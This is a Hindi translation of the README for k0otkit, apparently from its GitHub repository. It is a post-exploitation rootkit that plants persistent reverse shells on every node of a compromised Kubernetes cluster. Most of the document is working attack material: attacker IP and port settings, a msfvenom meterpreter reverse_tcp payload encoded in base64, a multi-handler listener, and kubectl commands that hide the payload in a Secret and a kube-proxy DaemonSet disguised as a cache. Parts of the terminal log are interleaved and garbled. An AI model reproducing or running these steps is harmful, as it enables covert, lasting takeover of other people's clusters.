
k0otkit एक सार्वभौमिक पोस्ट-पेनिट्रेशन तकनीक है जिसका उपयोग Kubernetes क्लस्टर के विरुद्ध पेनिट्रेशन में किया जा सकता है।
k0otkit एक सार्वभौमिक पोस्ट-पेनिट्रेशन तकनीक है जिसका उपयोग Kubernetes क्लस्टर्स के विरुद्ध पेनिट्रेशन में किया जा सकता है।
k0otkit के साथ, आप लक्ष्य Kubernetes क्लस्टर के सभी नोड्स को तेज़, गुप्त और निरंतर तरीके से नियंत्रित कर सकते हैं (रिवर्स शेल)।
k0otkit Kubernetes और rootkit का संयोजन है।
पूर्वापेक्षा:
k0otkit एक पोस्ट-पेनिट्रेशन उपकरण है, इसलिए आपको पहले एक क्लस्टर पर विजय प्राप्त करनी होगी, किसी तरह कंटेनर से बचना होगा और मास्टर नोड का रूट विशेषाधिकार प्राप्त करना होगा (सटीक होने के लिए, आपको लक्ष्य Kubernetes का एडमिन विशेषाधिकार प्राप्त करना चाहिए)।
परिदृश्य:
kubectl के साथ क्लस्टर को admin के रूप में निर्देशित करने में सक्षम होते हैं।k0otkit को k0otkit: Hack K8s in a K8s Way में विस्तार से बताया गया है।
सुनिश्चित करें कि आपके पास लक्ष्य Kubernetes के मास्टर नोड पर रूट शेल है। (आप k0otkit का उपयोग तब भी कर सकते हैं यदि आपके पास लक्ष्य Kubernetes का एडमिन विशेषाधिकार है, हालांकि आपको टोकन या प्रमाणपत्र का उपयोग करने के लिए k0otkit_template.sh में kubectl कमांड को संशोधित करने की आवश्यकता हो सकती है।)
सुनिश्चित करें कि आपने अपने हमलावर होस्ट पर Metasploit स्थापित किया है (msfvenom और msfconsole उपलब्ध होना चाहिए)।
k0otkit परिनियोजित करें
इस रिपॉजिटरी को क्लोन करें:
git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh
pre_exp.sh में हमलावर का IP और पोर्ट अपने स्वयं के IP और पोर्ट से बदलें:
ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444
k0otkit जनरेट करें:
./pre_exp.sh
k0otkit.sh जनरेट हो जाएगा। फिर रिवर्स शेल हैंडलर चलाएँ:
./handle_multi_reverse_shell.sh
एक बार हैंडलर तैयार हो जाने पर, k0otkit.sh की सामग्री कॉपी करें और इसे लक्ष्य Kubernetes के मास्टर नोड पर अपने शेल में पेस्ट करें, फिर इसे निष्पादित करने के लिए <Enter> दबाएँ।
एक पल प्रतीक्षा करें और सभी नोड्स से रिवर्स शेल का आनंद लें :)
पी.एस. यह सीमित नहीं है कि आप k0otkit के साथ कितने Kubernetes क्लस्टर्स को नियंत्रित कर सकते हैं।
शेल्स के साथ इंटरेक्ट करें
k0otkit के सफल परिनियोजन के बाद, आप किसी भी रिवर्स शेल के साथ अपनी इच्छानुसार बातचीत कर सकते हैं:
# msfconsole के अंदर
sessions 1
k0otkit जनरेट करें:
kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh
रिवर्स शेल हैंडलर चलाएँ:
kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >
k0otkit.sh की सामग्री को लक्ष्य Kubernetes के मास्टर नोड पर अपने शेल में कॉपी करें और <Enter> दबाएँ:
kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF
# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below